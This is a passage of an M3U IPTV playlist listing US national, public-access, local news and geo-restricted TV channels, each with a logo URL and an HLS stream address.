tvg-logo="http://www.outdoorcookingchannel.com/wp-content/uploads/2014/06/150-logo.png" group-title="USA",The Outdoor Cooking Channel http://edge1.tikilive.com:1935/unrestricted_tikilive/25947/amlst:NWKlw6jwyXpz/chunklist_w981409619_b1105254.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/DPls9e7.png" group-title="USA",The Pet Collective https://dai2.xumo.com/amagi_hls_data_xumo1212A-petcollective/CDN/1280x720_5000000/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/uIZpZky.png" group-title="USA",The Titanic Channel https://a.jsrdn.com/broadcast/22719/+0000/hi/c.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/thumb/7/77/The_Weather_Channel_logo_2005-present.svg/1024px-The_Weather_Channel_logo_2005-present.svg.png" group-title="USA",The Weather Channel http://weather-lh.akamaihd.net/i/twc_1@92006/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/BvRObyp.png" group-title="USA",The Works https://mgm-ssai.akamaized.net/amagi_hls_data_mgmAAAAAA-theworks/CDN/720x404_1425600/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/wzBD6fy.png" group-title="USA",TMZ https://dai2.xumo.com/xumocdn/p=roku/amagi_hls_data_xumo1234A-tmz/CDN/1280x720_5000000/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/GFyJviy.png" group-title="USA",Travel 4U https://edge1.dashmedia.tv/onestudio/travel4u/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/qg0QrUp.png" group-title="USA",TWiT http://iphone-streaming.ustream.tv/uhls/1524/streams/live/iphone/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/lPyJhBN.png" group-title="USA",UN Web TV https://bcliveunivsecure-lh.akamaihd.net/i/un150_A1_1@575439/index_1328_av-b.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/7DwiHDb.png" group-title="USA",Vegas Stats https://api.new.livestream.com/accounts/22774234/events/6897936/live.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/thumb/9/94/VH1_logonew.svg/440px-VH1_logonew.svg.png" group-title="USA",VH1 http://content-ausc2.uplynk.com/channel/7a16e3d5ffd0413ba4d8ac89688ed7cd/e.m3u8?ct=c&ad.locationDesc=vh1_channel&ad.cust_params=_fw_ae%3D53da17a30bd0d3c946a41c86cb5873f1%26_vmn_ar%3Dtrue&expand=simulcast_standard&ad.kv=_fw_ae%2C53da17a30bd0d3c946a41c86cb5873f1%2C_vmn_ar%2Ctrue%2C_fw_vcid2%2C82125:vh1_67b04b0c30774b06ad1ec820ee7d0beb&delay=10800&euid=67b04b0c-3077-4b06-ad1e-c820ee7d0beb&exp=1531977295&rn=1284714433&ad.euid=67b04b0c-3077-4b06-ad1e-c820ee7d0beb&cid=7a16e3d5ffd0413ba4d8ac89688ed7cd&tc=1&sig=b3143cb0429574cc3c877de30e62fab7d66c763ec2f61cd9bfde33fdab12dfb7&pbs=62317bc417264eaeb05c22777b5c8697 #EXTINF:-1 tvg-logo="https://static1.squarespace.com/static/51a013dee4b0a2a2d2ef73e9/t/530a34ace4b0d1b000d31222/1393177774359/voa.png" group-title="USA",Voice of America (PST) http://voa-lh.akamaihd.net/i/voa_mpls_tvmc6@320298/master.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://static1.squarespace.com/static/51a013dee4b0a2a2d2ef73e9/t/530a34ace4b0d1b000d31222/1393177774359/voa.png" group-title="USA",Voice of America (EST) http://voa-lh.akamaihd.net/i/voa_mpls_tvmc3_3@320295/master.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/e/e2/WeatherNation_logo.png" group-title="USA",Weather Nation http://cdnapi.kaltura.com/p/931702/sp/93170200/playManifest/entryId/1_oorxcge2/format/applehttp/protocol/http/uiConfId/28428751/a.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/nFSaVJ2.png" group-title="USA",Westerns 4U https://nimble.dashmedia.tv/onestudio/western4u/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/uckThBl.png" group-title="USA",WSJ Live (VOD) http://wsjlivehls-lh.akamaihd.net/i/events1_1@174990/master.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/6/6b/WSVI_Logo.png" group-title="USA",WSVI-TV http://dcunilive30-lh.akamaihd.net/i/dclive_1@534251/master.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/6chO5x2.png" group-title="USA",WWE Network http://cdnak19.cast4u.info/channels/4/10804.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/8sQ5mfL.png" group-title="USA",WXYZ ABC 7 Detroit https://content-auso2.uplynk.com/channel/9c9e4e410b5a471391c116166d8c010e.m3u8?ad=live #EXTINF:-1 tvg-logo="https://i.imgur.com/8JAnpoj.png" group-title="USA",Xcorps TV http://vcnxcorps.teleosmedia.com/stream/xcorps/xcorps/seglist_720p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/3se2VEB.png" group-title="USA",Youtoo America https://imavex2.mmdlive.lldns.net/imavex2/46320b2319cf49d7bf68f70cc4a10c98/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/c3Z5i2L.png" group-title="USA",Z Living (Opt-1) https://y5w8j4a9.ssl.hwcdn.net/zlivingusa_r/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/c3Z5i2L.png" group-title="USA",Z Living (Opt-2) https://y5w8j4a9.ssl.hwcdn.net/zlivingusa_r_prod/tracks-v1a1/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/8jjHm3a.png" group-title="USA PUBLIC",Akaku 53 Hawaii https://akaku.vod.castus.tv/live/ch1.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/8jjHm3a.png" group-title="USA PUBLIC",Akaku 54 Hawaii https://akaku.vod.castus.tv/live/ch2.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/8jjHm3a.png" group-title="USA PUBLIC",Akaku 55 Hawaii https://akaku.vod.castus.tv/live/ch3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ESQ1Fwz.png" group-title="USA PUBLIC",Arizona Capitol TV http://granicusliveus12-a.akamaihd.net/azleg/G0247_012/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/LqGSdNg.png" group-title="USA PUBLIC",Beach TV CSULB http://stream04.amp.csulb.edu:1935/Beach_TV/smil:BeachTV.smil/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/RnOS2Ct.png" group-title="USA PUBLIC",Bowie TV http://granicusliveus3-a.akamaihd.net/cityofbowie/G0466_001/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/iAWNBq2.png" group-title="USA PUBLIC",Buffalo TV http://na-all15.secdn.net/pegstream3-live/play/c3e1e4c4-7f11-4a54-8b8f-c590a95b4ade/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Uhi2iae.png" group-title="USA PUBLIC",BUTV10 BU http://butv10-livestream.bu.edu/live/WIFI-2096k-1080p/WIFI-2096k-1080p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/8w3N2k3.png" group-title="USA PUBLIC",Capital City Connection Montgomery http://na-us-se13.secdn.net/pegstream3-live/play/5f0d9ca5-4e85-4c01-a426-9ec8d44c2c9c/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/gs8x5ES.png" group-title="USA PUBLIC",CC-TV Charlotte County http://granicusliveus3-a.akamaihd.net/charlotte/G0055_002/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/DJG1KGR.png" group-title="USA PUBLIC",CCX Media Minnesota http://156.142.85.152/live/WIFI-2096k-1080p/WIFI-2096k-1080p.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/1p2WF6I.png" group-title="USA PUBLIC",CGTV Champaign http://reflect-live-champaign.cablecast.tv/live/CELL-296k-234p/CELL-296k-234p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/WrBz2L6.png" group-title="USA PUBLIC",Chandler Channel https://granicusliveus5-a.akamaihd.net/chandleraz/G0987_002/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/UxEzPeX.png" group-title="USA PUBLIC",Connecticut Network http://video.ct-n.com/live/ctnstream/chunklist_w1534354198_DVR.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/UxEzPeX.png" group-title="USA PUBLIC",Connecticut Network (Instant) http://video.ct-n.com/live/ctnspare/chunklist_w252238746_DVR.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/UxEzPeX.png" group-title="USA PUBLIC",Connecticut Network (Live Stream 1) http://video.ct-n.com/live/web1stream/chunklist_w1992415243_DVR.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/UxEzPeX.png" group-title="USA PUBLIC",Connecticut Network (Live Stream 2) http://video.ct-n.com/live/web2stream/chunklist_w1202315245_DVR.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/pY66Xjp.png" group-title="USA PUBLIC",DC Council Channel http://video.oct.dc.gov/out/u/15_12.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ck6VVWT.png" group-title="USA PUBLIC",District of Columbia Network http://video.oct.dc.gov/out/u/DCN.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/UnbstRH.png" group-title="USA PUBLIC",Escambia TV http://stream.swagit.com/live-edge/escambiacountyfl/live-1-a/chunklist_w1496843195.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/pWsmV4z.png" group-title="USA PUBLIC",Fairfax Public Access http://cs.ebmcdn.net/eastbay-live-hs-1/fairfax-pull/_definst_/mp4:fairfax.stream/chunklist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/xkiZlyd.png" group-title="USA PUBLIC",Glendale 11 https://stream.swagit.com/live-edge/glendaleaz/smil:std-4x3-1-a/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/wHb9BLd.png" group-title="USA PUBLIC",Greensboro TV http://granicusliveus4-a.akamaihd.net/greensboro/G0197_003/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/rfTBd6H.png" group-title="USA PUBLIC",House of Representatives http://d3ktuc8v2sjk6m.cloudfront.net/livetv/ngrp:HouseChannel_all/chucklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/FXOQfqa.png" group-title="USA PUBLIC",KBVR TV OSU http://klive-a.akamaihd.net/dc-0/live/hls/p/391241/e/0_bthpnu1j/sd/10000/t/YwqLo1YivB_aumq-LxAuWg/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/GJlPDSa.png" group-title="USA PUBLIC",LA36 http://granicusliveus6-a.akamaihd.net/la36/G0019_002/chunklist_w1442089063.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/REqqKQ9.png" group-title="USA PUBLIC",Lake Havasu City 4 https://granicusliveus3-a.akamaihd.net/lakehavasucity/G0643_002/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/LzaXjsz.png" group-title="USA PUBLIC",Leominster TV Government http://gov.leominster.tv/Gov/smil:Gov.smil/chunklist_w1957429215_b1344100_sleng_t64NzIwcA==.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/LzaXjsz.png" group-title="USA PUBLIC",Leominster TV Educational http://edu.leominster.tv/Edu/smil:Edu.smil/chunklist_w43731873_b1344100_sleng_t64NzIwcA==.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/LzaXjsz.png" group-title="USA PUBLIC",Leominster TV Public http://gov.leominster.tv/Pub/smil:Pub.smil/chunklist_w2036537178_b1344100_sleng_t64NzIwcA==.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/N2sVD8V.png" group-title="USA PUBLIC",Lex TV http://granicusliveus2-a.akamaihd.net/lfucg/G0264_002/chunklist_w831870727.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/6C9dWLK.png" group-title="USA PUBLIC",LVTV-3 La Verne Community TV https://na-us-se13.secdn.net/pegstream3-live/play/d6af6526-5e48-4f8d-aa2c-ed1c270f20d0/chunklist_w2046155663.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Yf0MFYU.png" group-title="USA PUBLIC",Olelo Community Media 49 http://granicusliveus12-a.akamaihd.net/olelo/G0125_009/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Yf0MFYU.png" group-title="USA PUBLIC",Olelo Community Media 53 http://granicusliveus12-a.akamaihd.net/olelo/G0125_011/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Yf0MFYU.png" group-title="USA PUBLIC",Olelo Community Media 54 http://granicusliveus12-a.akamaihd.net/olelo/G0125_012/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Yf0MFYU.png" group-title="USA PUBLIC",Olelo Community Media 55 http://granicusliveus12-a.akamaihd.net/olelo/G0125_013/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/C8vBURi.png" group-title="USA PUBLIC",Orange Media Network http://klive-a.akamaihd.net/dc-0/live/hls/p/391241/e/0_bthpnu1j/sd/10000/t/YwqLo1YivB_aumq-LxAuWg/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/s3FQwRN.png" group-title="USA PUBLIC",Orange TV http://otv3.ocfl.net:1936/OrangeTV/smil:OrangeTV.smil/chunklist_w1007974604_b894100_sleng.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/otj9cSL.png" group-title="USA PUBLIC",PATV Great Neck http://47.23.7.30:8080/live/WIFI-1096k-360p/WIFI-1096k-360p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/80ihcjR.png" group-title="USA PUBLIC",RyeTV http://oflash.dfw.swagit.com/live/ryeny/smil:std-4x3-1-a/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/fB0jYOO.png" group-title="USA PUBLIC",St. Charles Parish TV http://66.210.225.230/live/CELL-496k-270p/CELL-496k-270p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/WmFBaX6.png" group-title="USA PUBLIC",Southeastern Channel http://147.174.13.196/live/WIFI-1296k-540p/WIFI-1296k-540p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Sb1nuei.png" group-title="USA PUBLIC",Tempe 11 http://granicusliveus1-a.akamaihd.net/tempe/G0355_003/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/tV8tVxQ.png" group-title="USA PUBLIC",Texas Student TV http://tstv-stream.tsm.utexas.edu/hls/livestream_hi/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/OF24Hon.png" group-title="USA PUBLIC",Town of Vienna Community Network (Opt-1) https://granicusliveus2-a.akamaihd.net/vienna-va/G1359_002/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/OF24Hon.png" group-title="USA PUBLIC",Town of Vienna Community Network (Opt-2) https://granicusliveus2-a.akamaihd.net/vienna-va/G1359_003/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/SrRxU67.png" group-title="USA PUBLIC",TVW http://d3ktuc8v2sjk6m.cloudfront.net/livetv/ngrp:TVWAIR_all/chucklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/SrRxU67.png" group-title="USA PUBLIC",TVW-2 http://d3ktuc8v2sjk6m.cloudfront.net/livetv/ngrp:TVW2_all/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/OTZxloq.png" group-title="USA PUBLIC",UALR TV http://na-all23.secdn.net/pegstream3-live/play/65ea794b-dd82-41ce-8e98-a9177289a063/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/77PehgD.png" group-title="USA PUBLIC",UWW-TV UW Whitewater http://vanadium.uww.edu:1935/uwwlive/smil:uwwtv.smil/chunklist_w2102626622_b300000.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/cOx41cu.png" group-title="USA PUBLIC",WCCA TV Worcester http://worcester.vod.castus.tv/live/ch1.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/sxxRphV.png" group-title="USA PUBLIC",White Plains Community Media http://stream.swagit.com/live-edge/whiteplainsny/smil:std-4x3-1-b/chunklist_w1456643228_b512000.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/7yrCSu0.png" group-title="USA LOCAL",Augusta - Fox 54 News Now http://api.new.livestream.com/accounts/11328309/events/live/live.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/8/86/WBRZ_Logo_2013.png" group-title="USA LOCAL",Baton Rouge - WBRZ 2 Plus http://cms-wowza.lunabyte.io/wbrz-live-1/_definst_/smil:wbrz-live.smil/chunklist_b1300000.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/5MfhbGP.png" group-title="USA LOCAL",Boston - 7News (Opt-1) https://bcsecurelivehls-i.akamaihd.net/hls/live/598046/4744899807001_1/livestream/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/5MfhbGP.png" group-title="USA LOCAL",Boston - 7News (Opt-2) https://bcsecurelivehls-i.akamaihd.net/hls/live/598046/4744899807001_1/livestream/master_540-57.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/VyddAhr.png" group-title="USA LOCAL",Boston - Fox News 25 (Opt-1) http://svc-lvanvato-cxtv-wfxt.cmgvideo.com/wfxt/2564k/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/VyddAhr.png" group-title="USA LOCAL",Boston - Fox News 25 (Opt-2) http://api.new.livestream.com/accounts/22998687/events/6864865/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",The Bronx - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12BX #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Brooklyn - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12KN #EXTINF:-1 tvg-logo="https://i.imgur.com/AoCX1T1.png" group-title="USA LOCAL",Charlotte - WCNC Breaking News http://wcnc-lh.akamaihd.net/i/WCNC_Breaking_1@195112/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/g29f00A.png" group-title="USA LOCAL",Charlotte - WCCB News http://api.new.livestream.com/accounts/8522553/events/live/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/GSdRkIw.png" group-title="USA LOCAL",Chattanooga - ABC 9 News http://wxintribune-lh.akamaihd.net/i/WXINTribune_1@120151/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/KKyaN9l.png" group-title="USA LOCAL",Chicago - NBC 5 News http://wmaqlive-f.akamaihd.net/i/wmaqa1_1@22923/master.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/JmlSD7q.png" group-title="USA LOCAL",Chicago - WGN 9 News http://wgntribune-lh.akamaihd.net/i/WGNPrimary_1@304622/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/eqjvgfo.png" group-title="USA LOCAL",Chico - Action News Now https://api.new.livestream.com/accounts/26511688/events/7954874/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AqYJ4Dg.png" group-title="USA LOCAL",Cincinnati - Fox 19 News http://api.new.livestream.com/accounts/12136532/events/live/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/OMyZ9lC.png" group-title="USA LOCAL",Cleveland - Fox 8 News http://api.new.livestream.com/accounts/57501/events/1146195/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Connecticut - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12CT_WEST #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Connecticut - News 12 (Traffic) http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12TW_CT #EXTINF:-1 tvg-logo="https://i.imgur.com/KdwKEmV.png" group-title="USA LOCAL",Corpus Christi - KRIS News https://api.new.livestream.com/accounts/16030759/events/4495499/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AleGl4H.png" group-title="USA LOCAL",Dallas - Fox 4 News http://api.new.livestream.com/accounts/6395980/events/2598380/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AqfOsIO.png" group-title="USA LOCAL",Dayton - WHIO 7 News (Opt-1) http://svc-lvanvato-cxtv-whio.cmgvideo.com/whio/2596k/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AqfOsIO.png" group-title="USA LOCAL",Dayton - WHIO 7 News (Opt-2) http://svc-lvanvato-cxtv-whio.cmgvideo.com:80/whio/2596k/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/MZuZMNW.png" group-title="USA LOCAL",Des Moines - WHO 13 News https://api.new.livestream.com/accounts/9976600/events/3382760/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/RmNx8Vt.png" group-title="USA LOCAL",Grand Rapids - Fox 17 News http://api.new.livestream.com/accounts/9485505/events/3244983/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/3czIO1P.png" group-title="USA LOCAL",Hartford - WVIT 30 News http://wvitlive-f.akamaihd.net/i/wvitb2_1@71164/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ta1UHlg.png" group-title="USA LOCAL",Houston - Fox 26 News (Opt-1) http://api.new.livestream.com/accounts/6396012/events/live/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ta1UHlg.png" group-title="USA LOCAL",Houston - Fox 26 News (Opt-2) http://api.new.livestream.com/accounts/6396012/events/2598382/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Hudson Valley - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12HV #EXTINF:-1 tvg-logo="https://i.imgur.com/lAtiWkI.png" group-title="USA LOCAL",Indianapolis - CBS 4 News http://wttv-lh.akamaihd.net:80/i/WTTVBreaking_1@333494/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/LW3Dfbt.png" group-title="USA LOCAL",Jacksonville - WJAX Action News (Opt-1) http://svc-lvanvato-cxtv-wjax.cmgvideo.com/wjax/2564k/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/LW3Dfbt.png" group-title="USA LOCAL",Jacksonville - WJAX Action News (Opt-2) https://svc-lvanvato-cxtv-wjax.cmgvideo.com/wjax/564k/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/QbkW7zY.png" group-title="USA LOCAL",Las Vegas - 13 Action News https://content.uplynk.com/channel/39919d3f7a074eefa8bf579214e952f9.m3u8?ad=live #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Long Island - News 12 (Traffic) http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12TW_LI #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Long Island - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12LI_WEST #EXTINF:-1 tvg-logo="https://i.imgur.com/qev72Gl.png" group-title="USA LOCAL",Los Angeles - CBS News https://dai.google.com/linear/hls/event/TxSbNMu4R5anKrjV02VOBg/master.m3u8?iu=/4128/CBS.LA.OTT #EXTINF:-1 tvg-logo="https://i.imgur.com/4dMBznz.png" group-title="USA LOCAL",Mississippi - WXXV News 25 http://api.new.livestream.com/accounts/22998687/events/6864865/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",New Jersey - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12NJ_CENTRAL #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",New Jersey - News 12 (Traffic) http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12TW_NJ #EXTINF:-1 tvg-logo="https://i.imgur.com/62ltnfY.png" group-title="USA LOCAL",New Orleans - Fox 8 News http://api.new.livestream.com/accounts/10891792/events/3578864/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/DVioDpu.png" group-title="USA LOCAL",New York - FiOS1 News https://cdnapisec.kaltura.com/p/424341/sp/42434100/playManifest/entryId/1_is35xshu/format/applehttp/protocol/https/uiConfId/39790741/a.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",New York - News 12 (Traffic) http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12TW_NYC #EXTINF:-1 tvg-logo="https://i.imgur.com/s0WMDmi.png" group-title="USA LOCAL",New York - News 12+ http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12TW_WC #EXTINF:-1 tvg-logo="https://i.imgur.com/yc2j7MW.png" group-title="USA LOCAL",North Carolina - MyFox8 News http://api.new.livestream.com/accounts/9287016/events/3206504/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/TTrg1Rf.png" group-title="USA LOCAL",Omaha -3News Now http://content.uplynk.com/channel/328d1434fb51476cb6567c74d5b2cc70.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/G37a3NG.png" group-title="USA LOCAL",Oregon - Fox 12 News http://api.new.livestream.com/accounts/6908462/events/2706967/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/z5xw91r.png" group-title="USA LOCAL",Oregon - News Channel 21 http://api.new.livestream.com/accounts/19128364/events/5285531/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/05FdDhc.png" group-title="USA LOCAL",Palm Springs - News Channel 3 http://api.new.livestream.com/accounts/20847880/events/6053226/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/izKPQZo.png" group-title="USA LOCAL",Phoenix - Fox 10 News http://api.new.livestream.com/accounts/1859803/events/1648429/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/EQPIi0J.png" group-title="USA LOCAL",Pittsburgh - WPXI 11 News http://svc-lvanvato-cxtv-wpxi.cmgvideo.com/wpxi/2564k/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/NLPTfgk.png" group-title="USA LOCAL",Sacramento - Fox 40 News http://api.new.livestream.com/accounts/9486720/events/3245377/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ddhH0VN.png" group-title="USA LOCAL",San Diego - Fox 5 News http://api.new.livestream.com/accounts/9263055/events/3189799/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/dIpu0v5.png" group-title="USA LOCAL",Seattle - KIRO 7 News http://svc-lvanvato-cxtv-kiro.cmgvideo.com/kiro/1864k/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/K4YSmkH.jpg" group-title="USA LOCAL",Seattle - KOMO 4 News https://content.uplynk.com/2c88dfe19e1447e6a6aa27e8e143a140.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/7LJxC4I.png" group-title="USA LOCAL",Seattle - Q13 Fox News http://api.new.livestream.com/accounts/9486768/events/3245401/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/qIeREW7.png" group-title="USA LOCAL",Toledo - WTOL 11 News http://api.new.livestream.com/accounts/12003465/events/3786544/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/t7HFTyE.png" group-title="USA LOCAL",Washington DC - CBS 9 News https://wusa-lh.akamaihd.net/i/WUSA_Breaking_1@98930/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/qEx2bMU.png" group-title="USA LOCAL",Washington DC - NBC 4 News https://wrclive-f.akamaihd.net/i/wrcb1_1@46880/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Westchester - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12WH_WESTCHESTER #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/0/09/Charge%21_network_logo.png" group-title="USA GEO",Charge! (Geo) https://usgeowall.sinclairstoryline.com/channel/37eb732888614810b512fdd82604244e.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ZIZZG8v.png" group-title="USA GEO",Comet TV (Geo) http://usgeowall.sinclairstoryline.com/channel/3e45c6b5354a40f787e0b2aadb0f5d6a.m3u8?tc=1&exp=1614631202&rn=2057716804&ct=c&cid=3e45c6b5354a40f787e0b2aadb0f5d6a&ad=comet&repl=aboi&ad.adUnit=%2FCOMET%2FLivestream_midroll&ad._debug=comet_vmap&ad.ad_rule=1&ad.pmad=12&ad.output=xml_vmap1&sig=b2edfb477155d2588a66e0aecdbebff5a23c90a96e55c831def9a1434a51913b #EXTINF:-1 